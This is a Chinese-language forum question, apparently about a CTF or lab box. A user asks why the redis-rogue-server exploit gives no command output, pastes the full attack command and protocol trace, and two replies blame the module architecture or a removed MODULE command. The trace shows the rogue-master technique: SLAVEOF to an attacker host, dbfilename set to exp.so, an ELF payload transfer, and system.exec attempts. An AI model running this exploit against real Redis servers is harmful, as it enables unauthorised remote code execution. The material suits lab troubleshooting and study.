我是这个论坛的新手,希望得到一些帮助来理解这个漏洞。我正在尝试检查易受攻击的 Redis 服务器上的命令执行情况。
按照本文档,我能够利用 Redis 服务器,但无法输入任何命令,即没有输出。我看到OK
服务器的命令提示符上打印了内容。这里缺少任何内容,或者需要在此 shell 上以不同方式执行命令:
root/redis-rogue-server# python3 redis-rogue-server.py --rhost 10.10.10.11 --rport 6379 --lhost 10.10.10.10 --lport 21001
TARGET 10.10.10.11:6379
SERVER 10.10.10.10:21001
[<-] b'*3\r\n$7\r\nSLAVEOF\r\n$13\r\n10.10.10.10\r\n$5\r\n21001\r\n'
[->] b'+OK\r\n'
[<-] b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$6\r\nexp.so\r\n'
[->] b'+OK\r\n'
[->] b'PING\r\n'
[<-] b'+PONG\r\n'
[->] b'REPLCONF listening-port 6379\r\n'
[<-] b'+OK\r\n'
[->] b'REPLCONF capa eof\r\n'
[<-] b'+OK\r\n'
[->] b'PSYNC ? -1\r\n'
[<-] b'+FULLRESYNC ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ 1\r\n$48560\r\n\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00'......b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd9\xb6\x00\x00\x00\x00\x00\x00\xd3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\n'
[<-] b'*3\r\n$6\r\nMODULE\r\n$4\r\nLOAD\r\n$8\r\n./exp.so\r\n'
[->] b"-ERR unknown command 'MODULE'\r\n"
[<-] b'*3\r\n$7\r\nSLAVEOF\r\n$2\r\nNO\r\n$3\r\nONE\r\n'
[->] b'+OK\r\n'
[<<] whoami
[<-] b'*2\r\n$11\r\nsystem.exec\r\n$6\r\nwhoami\r\n'
[<<] ifconfig
[<-] b'*2\r\n$11\r\nsystem.exec\r\n$8\r\nifconfig\r\n'
[->] b"-ERR unknown command 'system.exec'\r\n"
答案1
看起来模块加载失败了。检查一下你的 .so 文件,好像和我遇到的一样,因为我的构建机器的架构是 x86,而运行 redis 的目标服务器是 x86_64 linux,它默认没有安装 x86 库。
答案2
redis 实例没有MODULE
命令,这很奇怪。如果这是 CTF,那么 box 创建者删除它可能是故意的。
[<-] b'*3\r\n$6\r\nMODULE\r\n$4\r\nLOAD\r\n$8\r\n./exp.so\r\n' [->] b"-ERR unknown command 'MODULE'\r\n"
这就是为什么实际模块没有加载到redis服务器中的原因。
[->] b"-ERR unknown command 'system.exec'\r\n"